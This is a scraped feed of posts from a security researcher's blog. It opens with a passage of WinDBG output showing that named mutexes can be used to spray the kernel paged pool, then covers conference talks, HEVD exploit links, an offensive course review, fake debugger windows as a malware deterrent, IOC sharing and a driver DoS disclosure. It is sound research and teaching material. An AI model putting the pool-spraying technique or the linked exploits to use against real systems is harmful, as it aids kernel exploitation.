<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> dd aab50528</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">aab50528 006f0050 006c006f 00730020 00720070</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">aab50538 00790061 006e0069 00200067 00730069</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">aab50548 00630020 006f006f 0020006c 006f0031</span></div>
</div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><br /></span></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> dS aab50528</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">006c006f "????????????????????????????????"</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">006c00af "????????"</span></div>
</div>
<div>
<br /></div>
<div>
My WinDBG doesn't want to print the name, but if you take a look at the UNICODE in hex, this is the name we gave to the Mutex. If we check where this string is stored:</div>
<div>
<br /></div>
<div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">lkd> !pool aab50528</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">Pool page aab50528 region is Paged pool</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50000 size: a8 previous size: 0 (Allocated) CMDa</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab500a8 size: 28 previous size: a8 (Free) 3.7.</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab500d0 size: 28 previous size: 28 (Allocated) NtFs</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab500f8 size: 28 previous size: 28 (Allocated) MmSm</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50120 size: 38 previous size: 28 (Allocated) CMnb Process: 86ef6760</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50158 size: 100 previous size: 38 (Allocated) IoNm</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50258 size: 38 previous size: 100 (Allocated) CMDa</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50290 size: 38 previous size: 38 (Allocated) CMNb (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab502c8 size: 28 previous size: 38 (Allocated) MmSm</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab502f0 size: 20 previous size: 28 (Allocated) CMNb (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50310 size: 60 previous size: 20 (Allocated) Key (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50370 size: 20 previous size: 60 (Allocated) SeAt</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50390 size: d8 previous size: 20 (Allocated) FMfn</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50468 size: 28 previous size: d8 (Allocated) CMVa</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab50490 size: 30 previous size: 28 (Allocated) CMVa</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"> aab504c0 size: 60 previous size: 30 (Allocated) Key (Protected)</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;">*aab50520 size: 38 previous size: 60 (Allocated) *ObNm</span></div>
<div>
<span style="color: #3d85c6; font-family: "courier new" , "courier" , monospace;"><span style="white-space: pre;"> </span>Pooltag ObNm : object names, Binary : nt!ob</span></div>
</div>
<div>
<br /></div>
<div>
It's in the paged pool! I will come back to this later, but I will give some spoiler here: We can create custom size allocations in the paged pool area with using named Mutexes, and the size will depend on the name we give. Super useful for spraying in the paged pool.</div>
<div>
<br /></div>
<div>
<br /></div>
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-79858007253220585102017-06-03T13:03:00.000+02:002017-06-03T13:03:27.304+02:00SecurityFest 2017: How to convince a malware to avoid us<div>
The presentation of my talk is available here:</div>
<a href="https://www.slideshare.net/CsabaFitzl/how-to-convince-a-malware-to-avoid-us" target="_blank">https://www.slideshare.net/CsabaFitzl/how-to-convince-a-malware-to-avoid-us</a><div>
<br /></div>
<div>
My talk, starting at 2:11, can be seen here:</div>
<div>
<a href="https://www.youtube.com/watch?v=8qf1mPWyxbA" target="_blank">https://www.youtube.com/watch?v=8qf1mPWyxbA</a></div>
<div>
<br /></div>
<div>
My tools can be downloaded from here:</div>
<div>
<a href="https://github.com/theevilbit/vaccination" target="_blank">https://github.com/theevilbit/vaccination</a><br /><br /></div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-42754942320048845812017-06-03T12:56:00.002+02:002017-06-03T12:56:47.085+02:00BSidesBUD 2017: IOC sharing - we are doing it wrongThe presentation to my talk is available here:<br />
<a href="https://www.slideshare.net/CsabaFitzl/ioc-sharing-we-are-doing-it-wrong" target="_blank">https://www.slideshare.net/CsabaFitzl/ioc-sharing-we-are-doing-it-wrong</a>Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-47885118511206384752016-12-20T21:38:00.004+01:002016-12-20T21:38:51.122+01:00HackSysExtremeVulnerableDriver (HEVD) exploits<div style="text-align: justify;">
My HackSysExtremeVulnerableDriver (HEVD) exploits for all of the 10 currently available vulnerabilities, can be found here (all written in Python):</div>
<br />
<a href="https://github.com/theevilbit/exploits/tree/master/HEVD" target="_blank">https://github.com/theevilbit/exploits/tree/master/HEVD</a><br />
<br />
<div style="text-align: justify;">
I will do some writeup later on, when I will have time, but here are the good ones to start with:</div>
<div style="text-align: justify;">
<br /></div>
<a href="https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-2-windows-drivers/" target="_blank">https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-2-windows-drivers/</a><br />
<a href="https://sizzop.github.io/2016/07/05/kernel-hacking-with-hevd-part-1.html" target="_blank">https://sizzop.github.io/2016/07/05/kernel-hacking-with-hevd-part-1.html</a><br />
<a href="https://sill0t3.blogspot.hu/2015/06/windows-kernel-exploitation-using.html" target="_blank">https://sill0t3.blogspot.hu/2015/06/windows-kernel-exploitation-using.html</a><br />
<a href="http://www.payatu.com/uninitialized-stack-variable/" target="_blank">http://www.payatu.com/uninitialized-stack-variable/</a>Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-83621530596848078042016-10-22T22:14:00.000+02:002016-10-22T22:14:04.435+02:00Exploit generation and JavaScript analysis automation with WinDBGThe material for our talk "Exploit generation and JavaScript analysis automation with WinDBG" with Miklos Desbordes-Korcsev can be found in the below links.<br />
<br />
hack.lu 2016 recording:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/d42EBkolXqY/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/d42EBkolXqY?feature=player_embedded" width="320"></iframe></div>
<br />
Tools we developed and used in the demos:<br />
<br />
<a href="https://github.com/theevilbit/exploit_generator" target="_blank">https://github.com/theevilbit/exploit_generator</a><br />
<a href="https://github.com/szimeus/evalyzer" target="_blank">https://github.com/szimeus/evalyzer</a><br />
<br />
Slides will be available here:<br />
<br />
<a href="http://archive.hack.lu/2016/" target="_blank">http://archive.hack.lu/2016/</a><br />
<br />
and on Hacktivity's website (<a href="https://hacktivity.com/en/" target="_blank">https://hacktivity.com/en/</a>). Will update this post when everything is online.<br />
<br />
Enjoy!Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-42193007607238135072016-09-24T21:58:00.000+02:002016-09-24T22:08:05.538+02:00Offensive Security - Advanced Web Attacks and Exploitation (AWAE) review<span style="text-align: justify;">I had the opportunity to attend OffSec's AWAE training this year at BlackHat. </span><span style="text-align: justify;">The challenge started with the registration, with monitoring past years events, I knew, that if I don't sign up in the first 24 hours, I need to wait one more year. I went for my employer approval way ahead of the registration opening, and luckily I had it a few days before. As soon as I got the BH newsletter about registration opened, I throw away everything and went to the computer to sign up. 21% of the course was already full!!! Luckily I could secure my place, and after that I read that this year the course filled up in 8!! hours. If you want to sign up, you have to be fast.</span><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
What background you need?</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I'm still a guy working in incident response, so I don't do too much web application testing (I do exactly 0), all of my background knowledge comes from OSCP and OSCE. If you took those courses, you will be absolutely fine. What I missed is my lack of JavaScript coding experience. I can read JS, but can't write, which made things a bit harder, but it was still manageable. My advise is to learn some JS before this course.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The course:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
There is one review of this course on OffSec's website, with the name "Story telling with muts", but that link is no longer valid. The title however is 100% right. There are 10+ case studies in this course to walk you through interesting techniques, chain of exploits, etc... and muts has a story to each of them, which makes the course really interesting, you not only get some in-depth knowledge, but also a couple of cool tales :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I can't really split up the course into particular days, like I did with AWE, it's about the same level of difficulty through the entire 4 days. It does increase a bit, but overall it doesn't have big spikes. Compared to AWE this course is lighter and not in a negative sense. The fact that you don't need to build ROP chains manually, debug kernel, and hunt for bits in memory makes it much more brain friendly, and you don't fall apart after day 2 like at AWE :) You will learn / see plenty of examples of real hacker mindset, out-of-the-box thinking. You will see vectors, that maybe before you didn't even think before (e.g.: XSS via SNMP), some really cool exploit chains, where the exploits by themselv are not serious, but when applied together they give you remote code execution. Again, I think this course's main strength is not the techniques you learn or the bunch of 0-days you get (yes, you leave the course with a handful of them), but the mindset you get, you will look on webapps differently after this course. The course is 100% hands-on, they build upon the basics, and there is some theory covered on the fly, but it's fully practical, which you can't say to any other course generally. Typical OffSec course, and you will have plenty of chance to practice, practice and practice. You will be much more comfortable with testing web apps after this 4 days.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The bonus I got out of this training is that before it I hated playing with webapps, it simply didn't look interesting. This course changed my view and feelings, testing webapps can be really cool. :)</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Mati (@muts) and Steven Seeley (@steventseeley) were the instructors, probably the best two people you can get for this kind of course.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
The exam:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Well... it's not yet available.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Some closing thoughts:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I started my InfoSec journey back in 2012, and I quickly became aware of the Offensive Security trainings and exams, and after reading plenty of reviews, articles, I knew that time, that I want to be an OSCP and potentially go on with OSCE and the others. That time all of this looked nearly impossible to achieve, and were far far away in the big unknown, they were like a dream. I freaked out even from the OSCP reviews, not to talk about the rest. I started with OSWP in 2012, and then every year I managed to do one more, slowly progressing towards the end; 2013 - OSCP, 2014 - OSCE, 2015 - OSEE. I did other courses during the years, but definitely these were the most rewarding ones, especially that this was my big dream when I started. Even without OSWE at the moment, I'm very happy, and it feels really good, when you work hard (and in these cases really-really hard) towards some big goal, and you finally achieve it. This is not the end of the journey, but definitely a major milestone in my life.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Finally I want to say thank you:</div>
<div style="text-align: justify;">
1. To my family, who always supported me, and accepted the fact that I have less time for them when preparing for these courses / exams.</div>
<div style="text-align: justify;">
2. To Offensive Security for creating the trainings.</div>
<div style="text-align: justify;">
3. To my employer for paying the courses.</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com4tag:blogger.com,1999:blog-2346289058306359524.post-33478247886604090922016-06-23T09:10:00.000+02:002017-05-14T14:32:20.971+02:00Defend against malware with fake debugger windows<div style="text-align: justify;">
This post will be quite similar to my previous post about making your desktop look like a VM: <a href="https://theevilbit.blogspot.com/2015/10/make-your-desktop-fake-virtual-machine.html" target="_blank">https://theevilbit.blogspot.com/2015/10/make-your-desktop-fake-virtual-machine.html</a>. The idea here is another trick malware commonly uses to detect malware analyst's machine: enumerating the windows and check if there are titles such as "OllyDBG", "WinDBG", "Wireshark", etc... it will frequently look for debuggers or various malware analysis tools.</div>
<div style="text-align: justify;">
I was thinking about, what if I place an empty window with this name, will malware detect it? I didn't wanted to hook into functions this time, but place an actual window. My other criteria was, that I want the window to be hidden, so it doesn't disturb people, but still can serve its purpose.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First let's see how malware detects / enumerates window titles. As described here: <a href="http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/" target="_blank">http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/</a> and many other places, it uses the "FindWindow" Windows API call to look for names. This is a quite simple function with two parameters:</div>
<div style="text-align: justify;">
<br /></div>
<pre style="font-family: Consolas, Courier, monospace !important; font-size: 14px; line-height: 20.006px; overflow: auto; padding: 5px; white-space: pre-wrap; word-break: break-word; word-wrap: break-word;">HWND WINAPI FindWindow(
_In_opt_ LPCTSTR lpClassName,
_In_opt_ LPCTSTR lpWindowName
);</pre>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
As per MSDN it will search for the string specified in lpClassName, which is the registered class name for the Window, or if that is NULL, it will search based on the window title, which is the second parameter. Malware typically will search for the class name. If you wonder how frequently this being used, here is a little help, to find malware which uses this technique. Cuckoo sandbox recently added some malware behaviour signatures to its feature set, and one of them is looking for this exactly, it can be found here:</div>
<div style="text-align: justify;">
<a href="https://github.com/cuckoosandbox/community/blob/master/modules/signatures/windows/antidbg_windows.py" target="_blank">https://github.com/cuckoosandbox/community/blob/master/modules/signatures/windows/antidbg_windows.py</a>. It will add the description into the analysis page. <a href="https://malwr.com/" target="_blank">https://malwr.com</a> uses Cuckoo sandbox to perform malware analysis, and it's searchable on Google, with that simple search for this on Google, and you will get a bunch of samples:</div>
<div style="text-align: justify;">
<span style="font-family: inherit;">"Checks for the presence of known windows from debuggers and forensic tools" site:malwr.com</span></div>
<div style="text-align: justify;">
For example:</div>
<div style="text-align: justify;">
<a href="https://malwr.com/analysis/NmMzYTYyNTJkOGViNGZiZjliOGEwZmRhMjg5YWU0OWU/" target="_blank">https://malwr.com/analysis/NmMzYTYyNTJkOGViNGZiZjliOGEwZmRhMjg5YWU0OWU/</a></div>
<div style="text-align: justify;">
Various malware will behave differently if it finds the window, it might exit, or will try to close the window, etc...</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
With this, let's create our window.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I still can't really do Win32 API programming, so I use the power of copy-paste. I found two very good articles about making your first, empty window in Windows: </div>
<div style="text-align: justify;">
<a href="https://msdn.microsoft.com/en-us/library/windows/desktop/ff381409(v=vs.85).aspx" target="_blank">https://msdn.microsoft.com/en-us/library/windows/desktop/ff381409(v=vs.85).aspx</a></div>
<div style="text-align: justify;">
<a href="http://www.winprog.org/tutorial/simple_window.html" target="_blank">http://www.winprog.org/tutorial/simple_window.html</a></div>
<div style="text-align: justify;">
You can read through this, the only thing I want to highlight is that the window will not be visible by default, you either create it with the appropriate flag, or call ShowWindow, as specified in the example. What if we don't show it? Well, as you would expect, it's not seen, you don't see it on the tray, nowhere, the program runs, and you can find it in the task manager, but no window. What happens if we call FindWindow this way? Based on numerous tests I did, it will always find it, regardless if you search based on class name or title. This is great, because we can start a process, which is completely hidden to the average user, consumes about 500kB memory, and about 0% CPU resources, but a malware will find it. Cool! Now we can hope that it will actually exit if it finds it.</div>
<div style="text-align: justify;">
Next question, is: do we need multiple processes to create multiple windows with different names? Based on my tests: NO. You can create multiple windows with different names, and you can hide all of them, and the FindWindow function will find all of them.</div>
<div style="text-align: justify;">
I also tried, what happens if I start WinDBG, which will register the same class name, but apparently it doesn't matter. You can run both programs at the same time, you can close them, and it won't cause any conflicts.</div>
<div style="text-align: justify;">
There is another method to find windows with GetWindowText based on the title, described here: <a href="https://stackoverflow.com/questions/16530871/findwindow-does-not-find-the-a-window" target="_blank">https://stackoverflow.com/questions/16530871/findwindow-does-not-find-the-a-window</a>, and that also works, it will find the window as well.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If I was an AV developer, I would hook the FindWindow function, and check if a process is explicitly looking for these windows, and if yes, I would raise a flag, because it's definitely not normal. Not sure if anyone does it, but it would be a fairly easy thing to do.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
I created a PoC code to create an OllyDBG and WinDBG window, and another one, which will use FindWindow to find them. Both of them are available from my Github page:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://github.com/theevilbit/vaccination/" target="_blank">https://github.com/theevilbit/vaccination/</a><br />
<br />
The related Visual Studio projects are:<br />
<br />
<ul>
<li>FindWindow</li>
<li>FakeDebuggerWindows</li>
</ul>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-68203007002861572162016-06-08T07:24:00.000+02:002016-06-08T09:37:59.972+02:00About IOCs...<div style="text-align: justify;">
I usually stay away blogging about my opinion, but I so fed up with the IOC hype that I have to write it down. (My next topic might be threat intel, along the same lines).</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
First about sharing:</div>
<div style="text-align: justify;">
There is a huge number of possible IOC types, like IP, domain, registry modified, files created, etc... still what you can most commonly find in any malware analysis paper, or IOC feeds, or any generic sharing, are: IPs, domains, filenames, hashes. No more. Now there are multiple issues when it comes to sharing:</div>
<div style="text-align: justify;">
Why it can't be shared in a standard format, like STIX? Typically if you read a report, you will have this information at the end of the article as text, which might be OK as someone posting details doesn't necessarily have the option to upload files, but when it comes to big security vendors who often publish IOCs in a separate PDF(!!!!) there is no excuse. I really don't understand why it can't be in a CSV as a minimum, or more preferred in STIX XML format. Vendors should have the ability to generate these, and you could more easily feed it to some other tools, without making difficult copy-paste tricks from a PDF.</div>
<div style="text-align: justify;">
My second big headache is, why almost every big vendor shares only MD5 hashes of malware samples??? It's not just that MD5 is more and more subject to various collision attacks, but some logs you have, might only contain SHA-256 hashes of executables seen in an environment, so you have no chance at all to search that data. Why is it so much trouble for someone to calculate an additional SHA-1 and SHA-256 hashes besides and MD5 and sharing that? Why does it hurt anyone? As a backup you can hope that the sample gets uploaded to VirusTotal, and you can get the hashes from there, but that's an incredible big amount of additional, unnecessary work (even with a script) to get that information from another source - if you can at all.</div>
<div style="text-align: justify;">
Why vendors don't share other IOCs in a summarized form? Like registry entries created, etc... You might find them if you read through the 20+ page article, but who has the time to read through every single malware report?</div>
<div style="text-align: justify;">
With that my request to vendors, who commonly share plenty of IOCs:</div>
<div style="text-align: justify;">
</div>
<ol>
<li style="text-align: justify;">Please share them in STIX format but at a minimum in a CSV</li>
<li style="text-align: justify;">Please share SHA-1 and SHA-256 hashes as well beside MD5 (share all 3 not just 1 of them)</li>
<li style="text-align: justify;">Please summarize other IOC information as well, not just IP, domain, filenames and hashes</li>
</ol>
<div style="text-align: justify;">
More on hashes:</div>
<div style="text-align: justify;">
Some tools allow you to search files across your environment. Guess what!? Some products use proper SHA-256 and some use MD5, but most products can search only one of them! If you consider how sharing is being done in the community (you only get one of the 3 popular hashes), this is setup for failure. By design. I don't want to write more about this.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
On usefulness:</div>
<div style="text-align: justify;">
I don't think IOCs are from evil. It can be good, and you can potentially find some badness based on that, so it has its place in incident response, but it won't solve core security problems, and IOCs won't be the ultimate solution for everything. The problem comes when vendors start to rely 100% on this data. For example calling something a 'hunting' module, when it's only an advanced IOC search with a nice GUI, I think is really bad, and something conceptionally went wrong with the entire product.</div>
<div style="text-align: justify;">
These days vendors seem to think that IOCs will save the world, and they are extremely important, and everyone wants to sell you more and more IOCs for huge amount of money. I really mean huge! I could go into how the importance of threat intel in general is overrated, but that might be another post.</div>
<div style="text-align: justify;">
Just think about how these IOCs are really helpful:</div>
<div>
<ul>
<li style="text-align: justify;">hashes - considering the speed of sample generation (half million new samples / day), do people really think that 2-3 particular hashes are important? It's the oldest and dumbest signatures AVs can use. So if you honestly think about it, hashes are basically poor man's malware signatures.</li>
<li style="text-align: justify;">IP - most of the time there are 100+ websites hosted on a single IP, if one site becomes infected, and there is a popular harmless site on the same IP, you could immediately flag significant part of your network traffic as malicious. Good luck in figuring out which one might be really bad in a big network... you will give up immediately as soon as you see the amount of data.</li>
<li style="text-align: justify;">filenames - somewhat useful if the name is unique, but almost the same issue as with the hash, could be slightly better however.</li>
<li style="text-align: justify;">domain names - probably the most useful ones in general.</li>
</ul>
<div style="text-align: justify;">
In summary I think IOCs are just poor signatures, which are way too overrated by most vendors, especially when it comes around the topic threat intel. They can be useful, but the hype going around them these days is a shame. If you go and buy them, then they are also way too expensive if you compare it to standard AV signatures, and as noted above they are not better.</div>
</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-64484174980681566972016-05-03T21:35:00.001+02:002016-05-03T21:35:24.514+02:00JavaScript deobfuscation: criminal case against you.wsf<div style="text-align: justify;">
A few months ago, I came across a malware dropper which was a javascript inside a Windows script file (WSF). The filename was: "criminal case against you.wsf". <i>Typical... I'm a bit fed up with the naming, but anyhow...</i> The file itself is somewhat interesting, because it can contain many types of scripts, and get them run in Windows if there is an interpreter. But this is not what I want to write about. The deobfuscation itself is not super hard, but after doing it I came across two really useful online tools, which can do this in a matter of seconds, and this is why making this quick post.</div>
<br />
This one was new to me, and it is pretty handy:<br />
<a href="http://deobfuscatejavascript.com/" target="_blank">http://deobfuscatejavascript.com/</a><br />
<br />
I already knew about this, and it was useful in the last step:<br />
<a href="http://jsbeautifier.org/" target="_blank">http://jsbeautifier.org/</a><br />
<br />
I really recommend everyone checking them out.<br />
<br />
For completeness here is the file, which contains the original JS, and then each step of the decoding, it had 4 layers of obfuscation.<br />
<a href="https://drive.google.com/file/d/0B0JU6vO5_GbmN0dJb1FBSlZLVzA/view?usp=sharing" target="_blank">criminal case js deobfuscate.txt</a>Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0tag:blogger.com,1999:blog-2346289058306359524.post-37449402425647504522016-02-19T08:09:00.002+01:002016-02-19T08:09:51.288+01:00CVE-2015-8285 - QuickHeal webssx.sys driver DOS vulnerability<div style="text-align: justify;">
A few months back I decided to practice my skills learned in the AWE course, in order to maintain it in my head, and keep it as an "active" knowledge. In general I don't have too much time these days, but I sacrificed some time for this. I also wanted to find a new vulnerability instead of writing an exploit code for an existing one, which didn't make things easier.</div>
<div style="text-align: justify;">
As I don't plan to do such kind of activity too often, I decided to look for bugs manually with reversing a kernel driver and look for possibly vulnerable IOCTL codes. I was probably lucky or these bugs are really frequent, but after some trials with a few products I found one in QuickHeal AV 16. There is a DOS vulnerability in the webssx.sys driver. Here is the document I made with all the details:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://drive.google.com/file/d/0B0JU6vO5_GbmNXBOWWVZTHpzeGc/view?usp=sharing" target="_blank">QuickHeal webssx vulnerability.pdf</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
and here is my POC code:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="https://github.com/theevilbit/exploits/tree/master/quickheal_webssx_dos" target="_blank">https://github.com/theevilbit/exploits/tree/master/quickheal_webssx_dos</a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Due to the reasons described in the document I didn't find a way to make a privilege escalation exploit out of this, so if someone see a possibility, please let me know :) With that it was still a very good experience, and I definitely learned new stuff with this.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
This is also my first ever bug and CVE. This part was also a very interesting journey. How to report a bug, get CVE assigned, etc... It didn't went smoothly, and I had a few challenges initially to contact the vendor, but it all sorted out at the end. It took about 3 months from my initial trials of submitting the details to QuickHeal till they actually released a fix.</div>
Csaba Fitzlhttp://www.blogger.com/profile/00612235643669949317noreply@blogger.com0